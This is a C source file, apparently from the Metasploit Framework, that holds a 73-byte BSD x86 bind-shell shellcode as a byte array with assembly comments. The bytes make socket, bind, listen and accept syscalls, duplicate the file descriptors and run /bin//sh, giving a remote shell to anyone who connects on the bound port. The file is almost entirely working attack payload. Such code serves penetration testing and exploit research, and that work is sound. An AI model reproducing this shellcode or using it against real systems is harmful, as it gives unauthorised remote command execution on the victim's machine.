metasploit-framework/external/source/unixasm/bsd-x86-bndsockcode.c

64 lines
3.5 KiB
C

/*
* bsd-x86-bndsockcode.c
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
#define BNDSOCKPORT 6
char bndsockcode[]= /* 73 bytes */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68\xff\x02\x04\xd2" /* pushl $0xd20402ff */
"\x89\xe7" /* movl %esp,%edi */
"\x50" /* pushl %eax */
"\x6a\x01" /* pushl $0x01 */
"\x6a\x02" /* pushl $0x02 */
"\x6a\x10" /* pushl $0x10 */
"\xb0\x61" /* movb $0x61,%al */
"\xcd\x80" /* int $0x80 */
"\x57" /* pushl %edi */
"\x50" /* pushl %eax */
"\x50" /* pushl %eax */
"\x6a\x68" /* pushl $0x68 */
"\x58" /* popl %eax */
"\xcd\x80" /* int $0x80 */
"\x89\x47\xec" /* movl %eax,-0x14(%edi) */
"\xb0\x6a" /* movb $0x6a,%al */
"\xcd\x80" /* int $0x80 */
"\xb0\x1e" /* movb $0x1e,%al */
"\xcd\x80" /* int $0x80 */
"\x50" /* pushl %eax */
"\x50" /* pushl %eax */
"\x6a\x5a" /* pushl $0x5a */
"\x58" /* popl %eax */
"\xcd\x80" /* int $0x80 */
"\xff\x4f\xe4" /* decl -0x1c(%edi) */
"\x79\xf6" /* jns <bndsockcode+42> */
"\x50" /* pushl %eax */
"\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x54" /* pushl %esp */
"\x53" /* pushl %ebx */
"\x50" /* pushl %eax */
"\xb0\x3b" /* movb $0x3b,%al */
"\xcd\x80" /* int $0x80 */
;